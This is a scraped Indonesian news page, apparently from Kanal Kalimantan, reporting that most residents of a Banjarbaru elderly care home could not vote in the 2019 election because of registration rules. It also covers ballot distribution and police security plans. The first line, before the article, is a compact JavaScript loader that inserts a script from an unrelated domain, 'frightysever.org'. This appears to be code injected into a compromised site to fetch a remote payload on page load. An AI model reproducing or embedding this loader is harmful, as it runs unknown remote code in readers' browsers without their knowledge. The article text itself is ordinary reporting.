(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Pemilu 2019 tinggal menghitung jam. Sejumlah pihak baik itu KPU, Bawaslu, Polri dan TNI telah bersiaga dan bekerja untuk mensukseskan puncak demokrasi pada Rabu (17/4). Namun, kabar kurang nyaman datang dari Panti Sosial Tresna Werda (PSTW) Budi Sejahtera, beralamat di Jalan Jenderal Ahmad Yani KM 21,7 No. 10, Landasan Ulin Utara, Kecamatan Liang Anggang, Kota Banjarbaru, tak bisa salurkan hak pilih mereka.
Ratusan lansia itu dipastikan tidak dapat menyalurkan hak politiknya dalam pemungutan suara, dijelaskan Kepala UPTD PSTW Budi Sejahtera, Surya Fujianorrachim, alasan mengapa lansia tidak dapat menggunakan hak pilihnya dikarenakan mereka yang ditampung di panti jompo ini mayoritas berasal dari luar daerah tanpa kartu tanda penduduk.
“Dari 170 lansia cuma sekitar 10 orang yang punya hak suara. Ini cuma lansia berasal dari Banjarbaru dan Martapura yang terdaftar di DPT maupun DPTb,” ujarnya Selasa (16/4/2019).
Menurut Surya, proses pemungutan suara akan langsung didatangi Kelompok Penyelenggara Pemungutan Suara (KPPS). Petugas mendatangi langsung ke panti. Lalu pihak KPPS akan mengantarkan para lansia ke TPS terdekat.
Surya menyayangkan suara lansia tak bisa tersalurkan dalam agenda lima tahunan ini. Namun, apa daya, masalah administrasi menjegal hak politik mereka. “Sayang sekali, paling enggak mereka punya lah hak suara untuk presiden,” tandas Surya.
Adapun Ketua KPU Banjarbaru, Hegar Wahyu Hidayat, membenarkan banyak lansia di panti jompo yang tak mengantongi hak suara. Menurut dia, mayoritas lansia ini berasal dari luar Kota Banjarbaru sehingga tak terdata masuk TPS di Banjarbaru.
“Jadi masuk di daftar pemilih pindahan (DPTb) atau istilahnya Pemilih A5. Nah, syarat untuk bisa dapat A5 harus terdaftar dulu di DPT daerah asalnya. Rupanya hanya 10 orang yang memenuhi syarat untuk dapat A5,” kata Hegar.
KPU Banjarbaru kini telah menyebar ribuan kotak suara di lima kecamatan di kota Banjarbaru. Distribusi logistik tersebut dimulai pada Senin (15/4/2019) pagi, disebar ke 377 TPS di 13 kelurahan. Sedangkan pada hari hari ini dilanjutkan sisanya hingga ke 733 TPS.
“Hari ini kita sebar lagi ke 356 TPS. Alhamdullilah sementar ini semua berjalan lancar,” ujarnya.
Disisi lain, Kapolres Banjarbaru AKBP Kelana Jaya dan Dandim 1006/Mtp Letkol Arm Siswo Budiarto, telah menggeser ratusan personil kepolisian dan TNI untuk mengamankan TPS yang ada di kota Banjarbaru. Adapun jumlah TPS yang diamankan sebanyak 800 TPS karena Wilayah Kecamatan Aluh-aluh dan Beruntung Baru yang berada di Kabupaten Banjar masuk dalam wilayah Hukum Polres Banjarbaru. Selain itu tambahan TPS khusus di Lembaga Permasyarakatan (Lapas).
Kapolres Banjarbaru, AKPB Kelana Jaya menegaskan kepada anggotanya untuk menindak tegas siapapun yang mencoba menghalangi kelancaran pesta demokrasi besok.
“Tidak ada intimidasi, apabila ada kelompok yang menghalangi jalnnya pesta demokrasi, saya minta rekan rekan lakukan upaya hukum, tindak tegas apapun resikonya. Saya bertanggung jawab,” tegasnya. (rico)
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru menerima anugerah penghargaan dari Ombudsman Republik Indonesia (RI)… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Pemerintah resmi menaikan Upah Minimum Provinsi (UMP) Kalimantan Selatan (Kalsel) pada tahun… Read More
KANALKALIMANTAN.COM, PARINGIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Kabupaten Balangan mengelar grand final pemilihan Duta… Read More
KANALKALIMANTAN.COM, AMUNTAI - Polres Hulu Sungai Utara (HSU) bersama Pemerintah Kabupaten HSU melakukan peninjauan Pasar… Read More
KANALKALIMANTAN.COM - Layanan mobile banking (m-banking) milik BRI, BRImo, terus berupaya mempermudah para nasabah untuk… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru ikut berpartisipasi dalam perayaan Hari Antikorupsi Sedunia (Hakordia)… Read More
This website uses cookies.